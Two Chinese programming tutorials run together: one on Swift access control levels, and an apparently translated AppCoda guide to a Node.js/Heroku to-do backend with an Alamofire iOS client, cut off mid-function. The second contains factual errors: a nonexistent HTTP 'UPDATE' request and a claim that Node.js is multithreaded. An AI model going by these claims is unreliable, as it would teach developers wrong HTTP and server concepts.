访问控制可以限定你在源文件或模块中访问代码的级别，也就是说可以控制哪些代码你可以访问，哪些代码你不能访问。这个特性可以让我们隐藏功能实现的一些细节，并且可以明确的指定我们提供给其他人的接口中哪些部分是他们可以使用的，哪些是他们看不到的。


你可以明确的给类、结构体、枚举、设置访问级别，也可以给属性、函数、初始化方法、基本类型、下标索引等设置访问级别。协议也可以被限定在一定的范围内使用，包括协议里的全局常量、变量和函数。


在提供了不同访问级别的同时，Swift并没有规定我们要在任何时候都要在代码中明确指定访问级别。其实，如果我们作为独立开发者在开发我们自己的app，而不是在开发一些Framework的时候，我们完全可以不用明确的指定代码的访问级别。



  注意：为方便起见，在代码中可以设置访问级别的它们（属性、基本类型、函数等）在下面的章节中我们称之为“实体”。




模块和源文件


Swift中的访问控制模型基于模块和源文件这两个概念。


模块指的是Framework或App bundle。在Swift中，可以用import关键字引入自己的工程。


在Swift中，Framewordk或App bundle被作为模块处理。如果你是为了实现某个通用的功能，或者是为了封装一些常用方法而将代码打包成Framework，这个Framework在Swift中就被称为模块。不论它被引入到某个App工程或者其他的Framework，它里面的一切（属性、函数等）都属于这个模块。


源文件指的是Swift中的Swift File，就是编写Swift代码的文件，它通常属于一个模块。通常一个源文件包含一个类，在类中又包含函数、属性等类型。


访问级别


Swift提供了三种不同的访问级别。这些访问级别相对于源文件中定义的实体，同时也相对于这些源文件所属的模块。



	
Public：可以访问自己模块或应用中源文件里的任何实体，别人也可以访问引入该模块中源文件里的所有实体。通常情况下，某个接口或Framework是可以被任何人使用时，你可以将其设置为public级别。

	
Internal：可以访问自己模块或应用中源文件里的任何实体，但是别人不能访问该模块中源文件里的实体。通常情况下，某个接口或Framework作为内部结构使用时，你可以将其设置为internal级别。

	
Private：只能在当前源文件中使用的实体，称为私有实体。使用private级别，可以用作隐藏某些功能的实现细节。



Public为最高级访问级别，Private为最低级访问级别。


访问级别的使用原则


在Swift中，访问级别有如下使用原则：访问级别统一性。

比如说：



	一个public访问级别的变量，不能将它的类型定义为internal和private的类型。因为变量可以被任何人访问，但是定义它的类型不可以，所以这样就会出现错误。

	函数的访问级别不能高于它的参数、返回类型的访问级别。因为如果函数定义为public而参数或者返回类型定义为internal或private，就会出现函数可以被任何人访问，但是它的参数和返回类型不可以，同样会出现错误。



默认访问级别


代码中的所有实体，如果你不明确的定义其访问级别，那么它们默认为internal级别。在大多数情况下，我们不需要明确的设置实体的访问级别，因为我们大多数时候都是在开发一个App bundle。


单目标应用程序的访问级别


当你编写一个单目标应用程序时，该应用的所有功能都是为该应用服务，不需要提供给其他应用或者模块使用，所以我们不需要明确设置访问级别，使用默认的访问级别internal即可。但是如果你愿意，你也可以使用private级别，用于隐藏一些功能的实现细节。


Framework的访问级别


当你开发Framework时，就需要把一些实体定义为public级别，以便其他人导入该Framework后可以正常使用其功能。这些被你定义为public的实体，就是这个Framework的API。



  注意：Framework的内部实现细节依然可以使用默认的internal级别，或者也可以定义为private级别。只有你想将它作为API的实体，才将其定义为public级别。




访问控制语法


通过修饰符public、internal、private来声明实体的访问级别：


public class SomePublicClass {}
internal class SomeInternalClass {}
private class SomePrivateClass {}

public var somePublicVariable = 0
internal let someInternalConstant = 0
private func somePrivateFunction() {}



除非有特殊的说明，否则实体都使用默认的访问级别internal，可以查阅默认访问级别这一节。这意味着SomeInternalClass和someInternalConstant不用明确的使用修饰符声明访问级别，但是他们任然拥有隐式的访问级别internal：


class SomeInternalClass {}              // 隐式访问级别internal
var someInternalConstant = 0            // 隐式访问级别 internal



自定义类型


如果你想为一个自定义类型指定一个明确的访问级别，那么你要明确一点。那就是你要确保新类型的访问级别和它实际的作用域相匹配。比如说，如果某个类里的属性、函数、返回值它们的作用域仅在当前的源文件中，那么你就可以将这个类申明为private类，而不需要申明为public或者internal类。


类的访问级别也可以影响到类成员（属性、函数、初始化方法等）的默认访问级别。如果你将类申明为private类，那么该类的所有成员的默认访问级别也会成为private。如果你将类申明为public或者internal类（或者不明确的指定访问级别，而使用默认的internal访问级别），那么该类的所有成员的访问级别是internal。



  注意：上面提到，一个public类的所有成员的访问级别默认为internal级别，而不是public级别。如果你想将某个成员申明为public级别，那么你必须使用修饰符明确的申明该成员。这样做的好处是，在你定义公共接口API的时候，可以明确的选择哪些属性或方法是需要公开的，哪些是内部使用的，可以避免将内部使用的属性方法公开成公共API的错误。




public class SomePublicClass {          // 显示的 public 类
    public var somePublicProperty = 0    // 显示的 public 类成员 
    var someInternalProperty = 0         // 隐式的 internal 类成员 
    private func somePrivateMethod() {}  // 显示的 private 类成员 
}

class SomeInternalClass {               // 隐式的 internal 类
    var someInternalProperty = 0         // 隐式的 internal 类成员 
    private func somePrivateMethod() {}  // 显示的 private 类成员 
}

private class SomePrivateClass {        // 显示的 private 类
    var somePrivateProperty = 0          // 隐式的 private 类成员 
    func somePrivateMethod() {}          // 隐式的 private 类成员 
}



元组类型


元组的访问级别使用是所有类型的访问级别使用中最为严谨的。比如说，如果你构建一个包含两种不同类型元素的元组，其中一个元素类型的访问级别为internal，另一个为private级别，那么这个元组的访问级别为private。也就是说元组的访问级别遵循它里面元组中最低级的访问级别。



  注意：元组不同于类、结构体、枚举、函数那样有单独的定义。元组的访问级别是在它被使用时自动推导出的，而不是明确的申明。




函数类型


函数的访问级别需要根据该函数的参数类型访问级别、返回类型访问级别得出。如果根据参数类型和返回类型得出的函数访问级别不符合上下文，那么就需要明确的申明该函数的访问级别。


下面的例子中定义了一个全局函数名为someFunction，并且没有明确的申明其访问级别。你也许会认为该函数应该拥有默认的访问级别internal，但事实并非如此。事实上，如果按下面这种写法，编译器是无法编译通过的：


func someFunction() -> (SomeInternalClass, SomePrivateClass) {
    // function implementation goes here
}



我们可以看到，这个函数的返回类型是一个元组，该元组中包含两个自定义的类（可查阅自定义类型）。其中一个类的访问级别是internal，另一个的访问级别是private，所以根据元组访问级别的原则，该元组的访问级别是private（元组的访问级别遵循它里面元组中最低级的访问级别）。


因为该函数返回类型的访问级别是private，所以你必须使用private修饰符，明确的申请该函数：


private func someFunction() -> (SomeInternalClass, SomePrivateClass) {
    // function implementation goes here
}



将该函数申明为public或internal，或者使用默认的访问级别internal都是错误的，因为如果把该函数当做public或internal级别来使用的话，是无法得到private级别的返回值的。


枚举类型


枚举中成员的访问级别继承自该枚举，你不能为枚举中的成员指定访问级别。

比如下面的例子，枚举CompassPoint被明确的申明为public级别，那么它的成员North，South，East，West的访问级别同样也是public：


public enum CompassPoint {
    case North
    case South
    case East
    case West
}



原始值和关联值


用于枚举定义中的任何原始值，或关联的值类型必须有一个访问级别，至少要高于枚举的访问级别。比如说，你不能在一个internal访问级别的枚举中定义private级别的原始值类型。


嵌套类型


如果在private级别的类型中定义嵌套类型，那么该嵌套类型就自动拥有private访问级别。如果在public或者internal级别的类型中定义嵌套类型，那么该嵌套类型自动拥有internal访问级别。如果想让嵌套类型拥有public访问级别，那么需要对该嵌套类型进行明确的访问级别申明。


子类


子类的访问级别不得高于父类的访问级别。比如说，父类的访问级别是internal，子类的访问级别就不能申明为public。


此外，在满足子类不高于父类访问级别以及遵循各访问级别作用域（即模块或源文件）的前提下，你可以重写任意类成员（方法、属性、初始化方法、下标索引等）。


如果我们无法直接访问某个类中的属性或函数等，那么可以继承该类，从而可以更容易的访问到该类的类成员。下面的例子中，类A的访问级别是public，它包含一个函数someMethod，访问级别为private。类B继承类A，并且访问级别申明为internal，但是在类B中重写了类A中访问级别为private的方法someMethod，并重新申明为internal级别。通过这种方式，我们就可以访问到某类中private级别的类成员，并且可以重新申明其访问级别，以便其他人使用：


public class A {
    private func someMethod() {}
}

internal class B: A {
    override internal func someMethod() {}
}



只要满足子类不高于父类访问级别以及遵循各访问级别作用域的前提下（即private的作用域在同一个源文件中，internal的作用域在同一个模块下），我们甚至可以在子类中，用子类成员访问父类成员，哪怕父类成员的访问级别比子类成员的要低：


public class A {
    private func someMethod() {}
}

internal class B: A {
    override internal func someMethod() {
        super.someMethod()
    }
}



因为父类A和子类B定义在同一个源文件中，所以在类B中可以在重写的someMethod方法中调用super.someMethod()。


常量、变量、属性、下标


常量、变量、属性不能拥有比它们的类型更高的访问级别。比如说，你定义一个public级别的属性，但是它的类型是private级别的，这是编译器不允许的。同样，下标也不能拥有比索引类型或返回类型更高的访问级别。


如果常量、变量、属性、下标索引的定义类型是private级别的，那么它们必须要明确的申明访问级别为private：


private var privateInstance = SomePrivateClass()



Getter和Setter


常量、变量、属性、下标索引的Getters和Setters的访问级别继承自它们所属成员的访问级别。


Setter的访问级别可以低于对应的Getter的访问级别，这样就可以控制变量、属性或下标索引的读写权限。在var或subscript定义作用域之前，你可以通过private(set)或internal(set)先为它门的写权限申明一个较低的访问级别。



  注意：这个规定适用于用作存储的属性或用作计算的属性。即使你不明确的申明存储属性的Getter、Setter，Swift也会隐式的为其创建Getter和Setter，用于对该属性进行读取操作。使用private(set)和internal(set)可以改变Swift隐式创建的Setter的访问级别。在计算属性中也是同样的。




下面的例子中定义了一个结构体名为TrackedString，它记录了value属性被修改的次数：


struct TrackedString {
    private(set) var numberOfEdits = 0
    var value: String = "" {
    didSet {
        numberOfEdits++
    }
    }
}



TrackedString结构体定义了一个用于存储的属性名为value，类型为String，并将初始化值设为""（即一个空字符串）。该结构体同时也定义了另一个用于存储的属性名为numberOfEdits，类型为Int，它用于记录属性value被修改的次数。这个功能的实现通过属性value的didSet方法实现，每当给value赋新值时就会调用didSet方法，给numberOfEdits加一。


结构体TrackedString和它的属性value均没有明确的申明访问级别，所以它们都拥有默认的访问级别internal。但是该结构体的numberOfEdits属性使用private(set)修饰符进行申明，这意味着numberOfEdits属性只能在定义该结构体的源文件中赋值。numberOfEdits属性的Getter依然是默认的访问级别internal，但是Setter的访问级别是private，这表示该属性只有在当前的源文件中是可读可写的，在当前源文件所属的模块中它只是一个可读的属性。


如果你实例化TrackedString结构体，并且多次对value属性的值进行修改，你就会看到numberOfEdits的值会随着修改次数更改：


var stringToEdit = TrackedString()
stringToEdit.value = "This string will be tracked."
stringToEdit.value += " This edit will increment numberOfEdits."
stringToEdit.value += " So will this one."
println("The number of edits is \(stringToEdit.numberOfEdits)")
// prints "The number of edits is 3"



虽然你可以在其他的源文件中实例化该结构体并且获取到numberOfEdits属性的值，但是你不能对其进行赋值。这样就能很好的告诉使用者，你只管使用，而不需要知道其实现细节。


初始化


我们可以给自定义的初始化方法指定访问级别，但是必须要低于或等于它所属类的访问级别。但如果该初始化方法是必须要使用的话，那它的访问级别就必须和所属类的访问级别相同。


如同函数或方法参数，初始化方法参数的访问级别也不能低于初始化方法的访问级别。


默认初始化方法


Swift为结构体、类都提供了一个默认的无参初始化方法，用于给它们的所有属性提供赋值操作，但不会给出具体值。默认初始化方法可以参阅Default Initializers。默认初始化方法的访问级别与所属类型的访问级别相同。



  注意：如果一个类型被申明为public级别，那么默认的初始化方法的访问级别为internal。如果你想让无参的初始化方法在其他模块中可以被使用，那么你必须提供一个具有public访问级别的无参初始化方法。




结构体的默认成员初始化方法


如果结构体中的任一存储属性的访问级别为private，那么它的默认成员初始化方法访问级别就是private。尽管如此，结构体的初始化方法的访问级别依然是internal。


如果你想在其他模块中使用该结构体的默认成员初始化方法，那么你需要提供一个访问级别为public的默认成员初始化方法。


协议


如果你想为一个协议明确的申明访问级别，那么有一点需要注意，就是你要确保该协议只在你申明的访问级别作用域中使用。


协议中的每一个必须要实现的函数都具有和该协议相同的访问级别。这样才能确保该协议的使用者可以实现它所提供的函数。



  注意：如果你定义了一个public访问级别的协议，那么实现该协议提供的必要函数也会是public的访问级别。这一点不同于其他类型，比如，public访问级别的其他类型，他们成员的访问级别为internal。




协议继承


如果定义了一个新的协议，并且该协议继承了一个已知的协议，那么新协议拥有的访问级别最高也只和被继承协议的访问级别相同。比如说，你不能定义一个public的协议而去继承一个internal的协议。


协议一致性


类可以采用比自身访问级别低的协议。比如说，你可以定义一个public级别的类，可以让它在其他模块中使用，同时它也可以采用一个internal级别的协议，并且只能在定义了该协议的模块中使用。


采用了协议的类的访问级别遵循它本身和采用协议中最低的访问级别。也就是说如果一个类是public级别，采用的协议是internal级别，那个采用了这个协议后，该类的访问级别也是internal。


如果你采用了协议，那么实现了协议必须的方法后，该方法的访问级别遵循协议的访问级别。比如说，一个public级别的类，采用了internal级别的协议，那么该类实现协议的方法至少也得是internal。



  注意：在Swift中和Objective-C中一样，协议的一致性保证了一个类不可能在同一个程序中用不同的方法采用同一个协议。




扩展


你可以在条件允许的情况下对类、结构体、枚举进行扩展。扩展成员应该具有和原始类成员一致的访问级别。比如你扩展了一个公共类型，那么你新加的成员应该具有和原始成员一样的默认的internal访问级别。


或者，你可以明确申明扩展的访问级别（比如使用private extension）给该扩展内所有成员指定一个新的默认访问级别。这个新的默认访问级别仍然可以被单独成员所指定的访问级别所覆盖。


协议的扩展


如果一个扩展采用了某个协议，那么你就不能对该扩展使用访问级别修饰符来申明了。该扩展中实现协议的方法都会遵循该协议的访问级别。


泛型


泛型类型或泛型函数的访问级别遵循泛型类型、函数本身、泛型类型参数三者中访问级别最低的级别。


类型别名


任何被你定义的类型别名都会认为是不同的类型进行访问控制。一个类型别名的访问级别低于或等于这个类型的访问级别。比如说，一个private级别的类型别名可以设定给一个public、internal、private的类型，但是一个public级别的类型别名只能设定给一个public级别的类型，不能设定给internal或private的类类型。



  注意：这条规则也适用于为满足协议一致性而给相关类型命名别名。
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2014 年 6 月 Apple 发布 Swift 以来，如何在 Swift 中进行网络编程一直成为程序猿们关注的焦点。甚至，Chris Lattner，Swift 的作者之一，也发推说过，在 Swift 中解析 JSON 还有很长的路要走。因此，许多人开始寻求替代方案。尽管，在 Swift 中也有处理 JSON 解析的内建类，但是对开发者来说并不是很友好。幸运的是，Alamofire 出现了。Alamofire 是一个可以帮助我们解析 JSON 的强有力网络库，它由 Objective-C 中同类网络库 AFNetworking 的作者编写。

在这个又臭又长、近乎 3500 多词（译者注：in English）的教程中，我们将探讨一系列广泛的网络基本话题，并建立一个假日待办应用。

同时，你会从本教程中学到：如何使用和解析 JSON，如何自定义服务器端，如何使用 Heroku 和 MongoLab 等工具，HTTP 的工作原理（包括 GET，POST 和 DELETE 请求），如何使用 git 和终端（terminal）以及如何使用 Cocoapods。如果你觉得上面提到的内容太多了，那就对了，拿一杯咖啡，就让我们开始吧。



哦，AppCoda 的所有作者祝大家节日开心！😊

注意：本教程是一个进阶教程，涵盖了很多东西。而且，我假设你已经对 iOS 和 Swift 有了很坚实的了解。文章中诸如 tableviews， autolayout，delegate 等话题都不会深入的解释原理。你如果记不清这些内容，可以先去学习我们推出的优秀课程，然后再回来看本教程。

开始

为了实现本教程要实现的功能，我已用 Node.js 写了一个服务器后端。这里需要给那些对它不熟悉的人解释一下，Node.js 是一个基于 Javascript、运行在 Google Chrome 的 V8 引擎中的运行时环境。长话短说，总之它是一个特别可靠，速度特别快，特别厉害的东西，哈哈。

为了搞定这个后端，我同时也使用了 Restify 和 MongoDB。MongoDB 是在 Web 开发人员中很流行的一个 no-SQL 数据库。我们可以使用 MongoDB 存储所有我们相关的数据。

当我刚开始使用 Node 的时候，我不知道这些东西都是怎么运行的，其他我所浏览的一些博客也从没有解释 Node 到底是怎么工作的。因此，尽管这是个 iOS 的博客，但我还是要介绍一下 Javascript 和 Node 服务器的工作原理。

我搜遍了网络，都没有一个详细的教程引导你创建一个 API 与 iOS 应用程序交互的步骤，从现在开始就有了。

遇见 Node.js

像我之前提到的一样，Node.js 是一个很强大的服务器端开发技术，它建立在 Chrome 的运行时环境上。因此，它是高度异步的和非阻塞的（如果你不知道我说的是什么意思，其实很简单，大概就是：使用主线程或者应用的主要部分不会被阻塞）。多线程是一种可以防止延迟且能提高项目效率的编程技术。你把应用想象成一条高速公路，如果只有一条通道，却有 20 辆车要通过，那么他们就很有可能会堵车。如果一条高速公路有三条都有出入口的通道，那么堵车的机会就很小。多线程就可以这样来理解。在一个多线程的环境里，代码执行在不同的线程就可以避免应用阻塞，从而防止程序奔溃。



Node 是由 Joyent 开发并维持的，Joyent 是一家位于旧金山的云计算公司。

如果你仍然不清楚所有这些是怎么运行的，想想后端具体干了些什么吧。下面列出来一些：


	后端是一个为你传送 API 的地方（我们现在正在为当前的应用构建 API，就和网络上其他的 API 一样，其中包括了我们在之前的 tvOS 教程中使用的 forecast.io API）。


	MongoDB 提供了一个保存所有数据的地方。当你想要 POST 一条新的消息，我们需要有个地方可以存储这条消息。在本教程中，我们将把这些数据存储到 MongoDB 数据库中。


	创建一个功能完整的 REST API，它遵循 REST 协议。




我们的 MongoDB 放在 MongoLab 的主机上，Node 服务器放在 Heroku 上。Heroku 由 Salesforce 提供支持，可以作为 Node，Rails，Python等应用的主机服务商。MongoLab 也是一家可以当 MongoDB 主机的服务商。

HTTP 请求介绍

在我们开始写代码之前，你应该了解 HTTP 请求以及如何在我们的应用里使用。


	GET 请求 - GET 请求会查询我们的数据库，然后获取内容。GET 请求可以被限制，使得其只能获取一个、多个或全部的内容。事实上，每次你访问 google.com 或浏览你的 Facebook/Twitter 主页，你都会发起 GET 请求（可能你之前都不知道这个东西）！


	POST 请求 - POST 请求会发送数据到服务器，然后保存这个数据。举个例子，当你在 Facebook 或 Twitter 上写好文字，然后按 Post/Tweet 按钮的时候，你就发起了 POST 请求。


	UPDATE 请求 - UPDATE 请求可以让你修改已经存在的内容。当你编辑一条 Facebook 消息时，其实使用到了 UPDATE 请求。


	DELETE 请求 - DELETE 请求会删除对应的内容。当你按了删除按钮删除 Facebook 或 Twitter 消息的时候，其实是调用了 DELETE 请求。




以上这四个请求类型是基于 REST 协议的。Internet 能运行就是由这些请求组成的。你可能也听说过 CRUD 这个缩写词，CRUD 是由 Create，Read，Update 和 Delete 的首字母组成的。很显然，这些单词就和 POST，GET，UPDATE 和 DELETE 是一一对应的。

帅气！现在我们已经对 HTTP 协议有一定的理解了，我们可以进入到这次教程的核心部分了。

配置必要的工具

在我们使用 MongoLab 或 Heroku 之前，我们应该要确保 Node.js 能正常使用。

打开 Node.js官网，根据简单的引导下载 Node 到你的电脑上。

然后，到 npm 官网下载 npm。

为了正确配置我们的后端，我们需要分别在 Heroku 和 MongoLab 上注册帐号。我们先从 MongoLab 开始吧，去 MongoLab 官网注册帐号。



确保选择的是 single-node（免费），填上你数据库的名字。我这边取名为 alamofire-db（以 db 为后缀表示是一个数据库，这是比较普遍的命名规范）。



接下来，登录你的数据库，定位好 MongoDB 数据库的 URI。



马上就让你添加一个新的数据库帐号，输入用户名和密码。不要忘记密码。



现在返回到你设置 URI 的页面，修改成新的地址。比如：

mongodb://<dbuser>:<dbpassword>@ds057954.mongolab.com:57954/alamofire-db


替换成：

mongodb://gregg:test@ds057954.mongolab.com:57954/alamofire-db


MongoLab 搞定！

现在去 Heroku.com，免费注册后，打开 heroku toolbelt 页面。

跟随指南，成功安装后，打开终端并登录 heroku。如果你之前从未使用过终端，不用担心。本教程会多次使用终端，这样你最终就会对终端的使用有一个清晰的认识。

一旦你在终端上登录 heroku，可以使用 cd 命令（cd 代表改变目录）进到对应目录，将之前从 dropbox 下载的工程文件夹移动进去。



按下回车键就可以执行这行命令了。干的不错，现在我们可以用 git 提交（Push）东西到 heroku 了。

在终端中键入以下命令：

bash
git init
git add .
git commit -m "First Commit"


这三行命令，初始化了一个仓库（repository，简写为 repo），并添加了当前目录下的所有文件到这个仓库，最终提交并保存。

git 是一款很流行的版本控制软件。

现在你可以看终端里应该和下图的内容差不多：



因为你之前已经成功安装了 heroku toolbelt，所以你现在可以在终端里键入 heroku login，并输入帐号密码。敲回车后继续，如果帐号密码没问题的话，你的 Email 会以蓝绿色高亮显示。

现在，键入 heroku create 来创建一个新的 heroku 应用。Heroku 会创建一个新的带有域名的应用给你。比如，我的就是 https://whispering-plains-1537.herokuapp.com/。



现在，键入 git push heroku master 来把你新建的应用发送到 heroku。

如果一切顺利的话，会显示如下图（其中的某一些设置可能会不同）。



使用 Node.js, Express, MongoLab & Mongoose

让我们从下载示例工程开始，链接在这里。打开你最喜欢的文本编辑器（我这边用的是 Sublime Text 2；可以在这里下载免费版，如果你支持的话也可以购买），然后继续。

Javascript 在很大程度上是和 Swift 很相似的。我们之后会使用 express 和 mongoose 两个著名 node 包。请确保你已经在系统上安装 npm 和 node 包管理器。

Express 是 Node.js 中的一个「快速、强大而又轻量级」的网络框架，它可以轻松解决路由（Route）问题。你问什么是路由？路由就是你与网络交互的方式。每次你打开 google.com 的时候，其实你访问的是根主页，即 google.com/。假如你访问 google.com/hello，那就是另外一个路由了。我们接下来将要定义一个能访问我们数据库的路由。



你可以从 expressjs.org 官网上学习更多关于 express 的知识。

下面是示例代码：

javascript
var express = require('express'); // 1
var app = express(); // 2
// 当一个 GET 请求访问主页的时候，会返回 hello world
app.get('/', function(req, res) { // 3
  res.send('hello world'); // 4
});


第一行代码设置了一个叫 express 的变量。第二行代码，把 express 初始化后赋值给一个叫 app 的变量。在第三行代码，app 这个变量代表了 express 环境，调用它的 get() 方法（形式类似 Swift）。当一个用户访问 / 根主页的时候，就会显示「hello world」。这是 express 作为路由的一个例子。如果需要更多信息，可以访问 express 官网查看。

现在，我们已经配置好了 mongo 数据库的环境，接下来让我们来使用 cURL 请求测试一下功能。cURL 是一款命令行程序，它可以发送 HTTP 请求。我们将会先使用 cURL 做一下实验，然后再迁移到 Alamofire 去。

JavaScript 介绍

模型

打开你的文本编辑器（再次顺便说一下，我用的是 Sublime），同时打开 app.js 文件。正如你看到的，应用被分割成了一个 model 和路由文件（就是你刚打开的 app.js 文件）。model 文件可以建立模式（schema）或数据库结构。让我们先来简单看看这个文件吧。

javascript
var mongoose = require('mongoose'),
    Schema = mongoose.Schema;
 
var TodoSchema  = new Schema(
    {
  name: String
});
 
mongoose.model('employees', TodoSchema);


我们可以使用 mongoose，它是一个用在应用与 mongo 之间作为接口的 npm 包。我起初在构建一个雇工跟踪应用，并把 model 命名为 employee，但是可能会随时修改这个 model。我保留着它，是因为这个教程的接下来部分可能会用到。



Mongoose 能很方便的提供与 mongoLab 的 heroku node 应用连接并提供相应的接口。这的确非常方便。

路由

路由文件里存的是我们将会输出到 app.js 文件的内容。不用太担心这个输出——它是 node 中一个比较先进的特性，也超出了本教程的范围。



注意第 26 行的 newTodo。正如你可能猜到的，这行代码创建了一个新的 todo。

javascript
var emp = new Todo(req.body);
 
    emp.save(function(err){
        if (err) {
            res.send('Error occurred');
            return console.log(err);
        }
        res.send(emp);
});


我们把 Todo 对象（在第四行定义了一个与 mongoose 连接的对象）赋值给一个叫 emp 的变量，并设置 req.body（req 代表请求，它会发送给我们数据，同时，res 代表回复，它会返回我们的要返回的东西）。

随意浏览一下文件中剩下的方法。

就像粘稠的胶水——App.js

现在回到 app.js 文件，这里是整个应用的主要部分。接下来列出来一些这个文件里的重点部分（译者注：对照下图看）：


	第 13 行代码建立 express 应用


	第 15 - 22 行代码配置该应用


	第 33 行代码使用 mongoose 将应用连接到 mongoLab 数据库


	第 35 行代码建立连接


	第 41 - 45 行代码建立应用的路由文件并连接到 /routes/todo.js 文件


	第 48 行代码创建服务器






以上这些，能让你了解到一些 Javascript 应用的基本运作知识。但是，毕竟这篇教程不是主讲 Javascript 的，我不会继续深究。当然，我还是鼓励你们去研究一下 express 和 mongoose。

使用 cURL

在我们的 node 应用开启状态下，我们可以执行一些 cURL 请求来做测试。一旦我们做完测试，就可以迁移到 Alamofire 上去了。

GET 请求

在终端里执行下面的代码（记得将 url 修改成你自己对应的 heroku url）。

bash
curl -i -H "Accept: application/json" "https://rocky-meadow-1164.herokuapp.com/todo"


命令行中的 -i 和 -H 参数，表示我们将要接收什么东西。我们会接收 JSON 并将 JSON url 追加到请求的末尾。



你应该能看到有数据返回了。和下图差不多。



正如你看到的，返回的数据就是我们想要得到的。如果你已经将 url 替换成你自己的，你可能什么也看不到，因为你的 mongodb 里现在还没数据。

POST 请求

加入你想要加一些数据到数据库里，你需要的就是下面的 POST 命令。

bash
curl -H "Content-Type: application/json" -X POST -d '{"name":"Buy Presents"}' https://rocky-meadow-1164.herokuapp.com/todo




然后，你使用之前讲过的 GET 请求，就可以看到你刚才添加的「Buy Presents」的内容了。



DELETE 请求

bash
curl -X DELETE 'https://rocky-meadow-1164.herokuapp.com/todo/5657901fee93910900cc54ed'




很棒！接下去我们不会讲 PUT 请求，因为在我们这个应用里暂时还用不上。但是它和其他的请求使用起来是差不多的。

使用 Alamofire 设置 iOS 应用



让我们从新建一个名叫 TodoApp 的 Xcode 工程开始吧。因为假期就要到来，我们应该有一种方式来跟踪这件事情。幸运的是，我们有我们的 node 应用可以帮忙。

虽然你可以手动安装 Alamofire（通过拖拽源文件到对应工程的方法），但是我们选择使用 Cocoapods。Cocoapods 是一款为 iOS 工程提供依赖管理的工具。在使用 Cocoapods 的时候，开发者可以轻松的添加框架或第三方类库。如果你之前没有使用 Cocoapods，强烈推荐你去使用。

接下来，在终端里运行以下命令可以确保你在接下来的步骤后成功安装 Cocoapods。

bash
$ gem install cocoapods


然后，通过 cd 命令进入你工程所在的目录，键入以下命令。

bash
vim Podfile


Vim 是一款系统自带的命令行编辑器，与 Sublime Text 或 TextMate 类似。我们现在要新建一个 Podfile 的文件，Cocoapods 每次都会去这个文件里查询是否需要更新工程的 pod（包括各种的依赖）。



在 Podfile 这个文件里键入如下内容：

ruby
source 'https://github.com/CocoaPods/Specs.git'
 
platform :ios, '8.0'
 
use_frameworks!
 
pod 'Alamofire', '~> 3.0'


然后，按 ESC 键，并输入 :wq，再敲回车。其中，wq 表示保存并退出。

我们现在已经成功创建 Podfile 并且保存了，为了安装 CocoaPods，在终端里输入以下命令：

bash
pod install


敲了回车后，如果一切都设置好的话，大概会呈现下图显示的内容。



这时候，你可以看到命令行里要求你关闭当前打开的 Xcode 并且以后都用 .xcworkspace 为后缀的文件来打开工程。

下面这个命令能够非常方便地打开当前目录的 finder 界面。到此为止我们在 Terminal 中的操作就那么多，看上去一天之内有那么多就够了！

bash
open .


打开 ViewController.swift，让我们继续吧。

Alamofire GET 请求

在打开的 ViewController.swift 里，输入以下代码来导入 Alamofire：


import Alamofire


在 viewDidLoad() 方法里键入以下代码来使用 Alamofire。


Alamofire.request(.GET, "https://rocky-meadow-1164.herokuapp.com/todo") .responseJSON { response in // 1
      print(response.request)  // original URL request
      print(response.response) // URL response
      print(response.data)     // server data
      print(response.result)   // result of response serialization

      if let JSON = response.result.value {
         print("JSON: \(JSON)")
        }
}


在第一行代码中，我们声明了一个 GET 请求，并且传入了一个我们需要的 URL。运行当前的应用，看看返回的是什么。如果一切都设置正确的话，你会看到返回的是 JSON 数据。

现在，打开 Main.storyboard，添加一个 tableview 到 view controller，并将视图控制器嵌入到 navigation controller。你的 storyboard 现在看起来应该跟我的一样，如下图（值得注意的是，现在返回的 JSON 数据还只是显示在控制台上，我们要将其显示出来。）。



将以下代码复制并粘帖到你的 Viewcontroller.swift 文件里。


import UIKit
import Alamofire
class ViewController: UIViewController {
 
    @IBOutlet weak var tableView: UITableView!
    var jsonArray:NSMutableArray?
    var newArray: Array<String> = []
 
    override func viewDidLoad() {
        super.viewDidLoad()
        
        Alamofire.request(.GET, "https://rocky-meadow-1164.herokuapp.com/todo") .responseJSON { response in
                print(response.request)  // original URL request
                print(response.response) // URL response
                print(response.data)     // server data
                print(response.result)   // result of response serialization

                if let JSON = response.result.value {
                    self.jsonArray = JSON as? NSMutableArray
                    for item in self.jsonArray! {
                        print(item["name"]!)
                        let string = item["name"]!
                        print("String is \(string!)")

                        self.newArray.append(string! as! String)
                    }

                    print("New array is \(self.newArray)")

                    self.tableView.reloadData()
                }
        }



        // Do any additional setup after loading the view, typically from a nib.
    }
}


我初始化了两个数组 jsonArray 和 newArray，用 for 循环遍历了返回数据的那个 jsonArray，将其中的每个数据保存到 newArray 中。



我使用 POST cURL 请求在数据库里多添加了一些数据。用法类似，不再赘述。

你可以试试下面代码演示的 GET 请求的极致精简写法。


Alamofire.request(.GET, "https://rocky-meadow-1164.herokuapp.com/todo").responseJSON { response in debugPrint(response) }


接下来，在文件顶部的 UIViewController 定义后面添加 UITableViewDelegate 和 UITableViewDataSource。并且，在 viewDidLoad() 方法里键入如下代码：


self.tableView.dataSource = self
self.tableView.delegate = self


最后，添加 UITableView 的 delegate 方法。


func tableView(tableView: UITableView, numberOfRowsInSection section: Int) -> Int {
    return self.newArray.count
}

func tableView(tableView: UITableView, cellForRowAtIndexPath indexPath: NSIndexPath) -> UITableViewCell {
    let cell = tableView.dequeueReusableCellWithIdentifier("Cell", forIndexPath: indexPath) as UITableViewCell

    cell.textLabel?.text = self.newArray[indexPath.row]
    return cell
}

override func didReceiveMemoryWarning() {
    super.didReceiveMemoryWarning()
    // Dispose of any resources that can be recreated.
}




正如你看到的，我们的 tableview 已经成功显示数据了。

现在，让我们来添加一个按钮，用来添加数据到列表中。首先，先在 storyboard 里添加一个叫 AddViewController 的类，并用 segue 的方式连接起来。你的 storyboard 应该和下图差不多。



Alamofire POST 请求

在你的 AddViewController.swift 文件里，为 textfield 建立一个 IBOutlet（命名为 textView）和为 Save 按钮建立一个 IBAction。在 Save 按钮代码下面键入如下代码：


Alamofire.request(.POST, "https://rocky-meadow-1164.herokuapp.com/todo", parameters: ["name": self.textView.text!])

self.navigationController!.popViewControllerAnimated(true)


正如你看到的，Alamofire 大大简化了发送 POST 请求的过程。

接下来，我们来对 ViewController.swift 文件进行重构，确保我们在保存数据后能及时更新列表。删除 viewDidLoad() 方法里 GET Alamofire 的代码，用以下的 downloadAndUpdate 方法代替。


func downloadAndUpdate() {
        Alamofire.request(.GET, "https://rocky-meadow-1164.herokuapp.com/todo") .responseJSON { response in
            print(response.request)  // original URL request
            print(response.response) // URL response
            print(response.data)     // server data
            print(response.result)   // result of response serialization

